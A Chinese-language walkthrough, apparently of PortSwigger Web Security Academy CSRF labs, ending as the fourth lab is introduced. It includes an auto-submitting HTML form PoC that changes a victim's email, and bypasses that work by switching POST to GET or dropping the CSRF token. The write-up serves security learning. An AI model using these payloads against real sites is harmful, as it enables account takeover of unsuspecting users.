CSRF vulnerability with no defenses
电子邮件更改功能容易受到CSRF的攻击。
通过Burp Suite代理访问流量,登录到帐户,更新电子邮件,然后在代理历史记录中查找结果请求。
构造Poc:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac451f2a1f42217181c428d20037006a.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="609959783@qq.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
即可生成一个伪造的HTML请求,实现攻击。
CSRF where token validation depends on request method
token尝试阻止CSRF攻击,但仅将防御应用于某些类型的请求。
将请求发送到Burp Repeater,观察到如果更改csrf参数的值,则该请求将被拒绝。
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 20
"Invalid CSRF token"
因此我们可以选择更改请求方法,将其转换为GET请求,则其不再验证CSRF token。
接下来然后就重复上个实例得操作即可实现CSRF攻击。
CSRF where token validation depends on token being present
同样上述操作,发现更改csrf参数同样返回
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 20
"Invalid CSRF token"
同样也尝试了修改请求方法,发现也失败了。
那我们换一种思路,直接把csrf参数整个删掉会怎么样呢?
当我们把csrf参数删掉后,发现成功返回请求响应。
因而可以成功实现csrf攻击。
CSRF where token is not tied to user session
使用令牌来尝试防止CSRF攻击,但它们并未集成到站点的会话处理系统中。